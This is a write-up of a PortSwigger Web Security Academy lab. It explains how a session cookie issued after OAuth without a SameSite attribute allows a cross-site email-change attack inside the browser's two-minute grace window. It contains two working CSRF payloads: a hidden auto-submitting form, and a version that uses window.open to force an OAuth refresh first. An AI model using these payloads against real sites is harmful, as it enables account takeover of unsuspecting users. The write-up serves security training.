| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — SameSite Lax Bypass via OAuth Cookie Refresh |
| Difficulty | Practitioner |
| Target | 0a88009204ec047f806771be007a00c6.web-security-academy.net |
| OAuth Server | oauth-0a20000d04af0440805f6f9602930050.oauth-server.net |
| Objective | Change the victim's email address by exploiting a post-OAuth session cookie with no SameSite attribute |
SameSite Lax Bypass via Cookie Refresh — Writeup¶
Reconnaissance¶
Initial Observation¶
The application uses OAuth-based login. Logging in as wiener:peter via the social media flow triggers an authorization prompt and redirects through the OAuth server:
https://oauth-0a20000d04af0440805f6f9602930050.oauth-server.net/interaction/zKp7fR93dM7LntFFKQzrI
After authorization the browser lands on the callback URL:
https://0a88009204ec047f806771be007a00c6.web-security-academy.net/oauth-callback?code=RLWPZd-0o79jm3mobMve3QYOvo69QiURiMyW_rZzUMh
Web — Session Cookie Analysis¶
Reviewing the OAuth flow in Burp's HTTP history. During the OAuth interaction, cookies are set with SameSite=Lax:
Set-Cookie: _interaction=zKp7fR93dM7LntFFKQzrI; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=zKp7fR93dM7LntFFKQzrI; samesite=lax; secure; httponly
But when the OAuth callback completes and the application issues a new session cookie, the SameSite attribute is absent:
GET /oauth-callback?code=RLWPZd-0o79jm3mobMve3QYOvo69QiURiMyW_rZzUMh HTTP/2
Cookie: session=cRbJ1pjdPzZvarXWSqpnAHGPu3B1lXzJ
HTTP/2 200 OK
Set-Cookie: session=hBkjzoFwOLpw1cM5bGtlH3SU9K1mzxs4; Expires=Sat, 23 May 2026 04:40:38 UTC; Secure; HttpOnly
No SameSite — browsers default this to Lax, but there's a key exception: cookies without an explicit SameSite attribute are treated as Lax with a two-minute grace window during which they are also sent on cross-site POST requests. If the CSRF attack fires within two minutes of the cookie being issued, the POST will carry it.
Email Change — No CSRF Token¶
The email change endpoint has no CSRF token. A cross-site POST is the only thing standing between the attacker and a working exploit, and that's exactly what the cookie refresh window enables.
Attack Path¶
Initial PoC — Confirming the Email Change Works¶
Testing the base CSRF payload against the local account first:
<form class="login-form" name="change-email-form" action="https://0a88009204ec047f806771be007a00c6.web-security-academy.net/my-account/change-email" method="POST">
<input required="" type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
Email changes when viewing the exploit as wiener. But delivering it to the victim doesn't solve the lab — the victim may not have a fresh session cookie. If their session predates the two-minute window, the cross-site POST won't carry the cookie and the request gets bounced to /social-login.
Full Exploit — Force OAuth Refresh Before Submitting¶
The solution is to force the victim through the OAuth flow first, issuing a fresh session cookie with no explicit SameSite, then submit the form within the grace window. window.open triggers the OAuth refresh in a new tab; setTimeout holds the form submission for five seconds while the cookie is set:
<form class="login-form" name="change-email-form" action="https://0a88009204ec047f806771be007a00c6.web-security-academy.net/my-account/change-email" method="POST">
<input required="" type="hidden" name="email" value="[email protected]">
</form>
<script>
window.open("https://0a88009204ec047f806771be007a00c6.web-security-academy.net/social-login");
setTimeout(updateEmail, 5000);
function updateEmail(){
document.forms[0].submit();
}
</script>
Sequence on victim's browser:
window.openopens/social-login→ OAuth flow completes → fresh session cookie issued with noSameSite.- Five-second delay passes — still within the two-minute grace window.
updateEmail()fires →document.forms[0].submit()sends a cross-site POST.- Browser includes the fresh cookie (grace window active) → server processes the email change.
Delivering the exploit to the victim solves the lab :P
Resources¶
- PortSwigger — Bypassing SameSite cookie restrictions
- PortSwigger — CSRF
- PortSwigger — OAuth authentication vulnerabilities
- MDN — SameSite cookies
- Burp Suite Professional — HTTP history, Repeater
- metahumo — Bypass de SameSite Lax con refresco de cookie